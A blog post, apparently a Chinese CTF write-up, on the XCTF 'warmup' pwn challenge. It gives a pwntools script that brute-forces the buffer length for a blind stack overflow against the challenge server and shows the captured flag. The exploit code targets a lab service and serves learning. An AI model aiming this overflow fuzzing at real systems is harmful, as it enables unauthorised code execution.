[攻防世界 pwn]——warmup

原创

Y-peak 于 2021-02-20 14:03:10 发布 123 收藏

分类专栏： # 攻防世界

本文链接：https://blog.csdn.net/Y_peak/article/details/113881994

[攻防世界 pwn]——warmup

- 题目地址: https://adworld.xctf.org.cn/
- 题目:

嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址, 应该就是可以执行 system("/bin/sh")或者 system(“cat flag”)的地址。

```
peakisxiaobai@ubuntu:~/Desktop/gongfangshijie$ nc 111.200.241.244 45566
-Warm Up-
WOW:0x40060d
>
```

提供了一个输入, 应该是可以进行栈溢出, 不然就太难了。尝试一下, 不过不知道要填充的长度也不知道是64位还是32位的。我们只有挨个尝试, 写个exp如下:

exploit

```python
from pwn import *
ret_addr = 0x40060d

def fuzz(p, n, flag):
 payload = 'a' * n
 if flag==1:
     payload += p32(ret_addr)
 if flag==2:
     payload += p64(ret_addr)
 p.recvuntil(">")
 p.sendline(payload)

def main():
 for i in range(1000):
     print(i)
     for j in range(1, 3):
  try:
      p = remote('111.200.241.244',45566)
      fuzz(p, i, j)
      print p.recv()
      p.interactive()
  except:
      p.close()
main()
```

```
72
[+] Opening connection to 111.200.241.244 on port 45566: Done
[*] Closed connection to 111.200.241.244 port 45566
[+] Opening connection to 111.200.241.244 on port 45566: Done
cyberpeace{ee51d916267ea95ea1f73bc7cdbb5933}

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```